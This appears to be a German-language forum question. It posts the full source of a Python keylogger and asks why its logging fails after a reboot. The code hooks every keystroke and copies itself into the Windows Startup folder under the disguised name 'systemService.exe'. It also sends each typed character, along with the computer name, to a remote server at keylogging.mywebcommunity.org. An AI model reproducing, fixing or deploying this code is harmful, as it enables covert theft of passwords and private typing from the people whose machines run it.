Python-Keylogger

Python-Keylogger

Ich versuche, einen Python-Keylogger zu erstellen, der beim Start automatisch ausgeführt wird. Hier ist der Python-Code

import pyHook, pythoncom, os, httplib, urllib, getpass, shutil, sys

userName = getpass.getuser()
filePath = "C:\users\%s\AppData\Roaming\Microsoft\windows\Start Menu\Programs\Startup\\" %userName

if os.path.exists(filePath):
    if os.path.isfile(filePath+'systemService.exe')==False:
        try:
            shutil.copy2(sys.argv[0],filePath+'systemService.exe')
        except:
            pass
def OnKeyBoardEvent(event):
    try:
        params = urllib.urlencode({'pcName': os.environ['COMPUTERNAME'], 'toLog': chr(event.Ascii)})
        conn = httplib.HTTPConnection("keylogging.mywebcommunity.org")
        conn.request("GET","/index.php?"+params)
    except:
        pass
    return True
hook_manager = pyHook.HookManager()
hook_manager.KeyDown = OnKeyBoardEvent
hook_manager.HookKeyboard()
pythoncom.PumpMessages()

Dieser Keylogger protokolliert alle ASCII-Daten mit PHP auf dem im Code genannten Server. Es funktioniert einwandfrei, wenn ich diese PYW-Datei ausführe, aber wenn ich den PC neu starte, meldet es sich nicht bei der Datei auf dem Server an. Ich habe doppelt geprüft, ob dieses Programm im Startverzeichnis vorhanden ist und nach dem Neustart im Hintergrund läuft. Aber es werden immer noch keine Daten in der Serverdatei protokolliert.

verwandte Informationen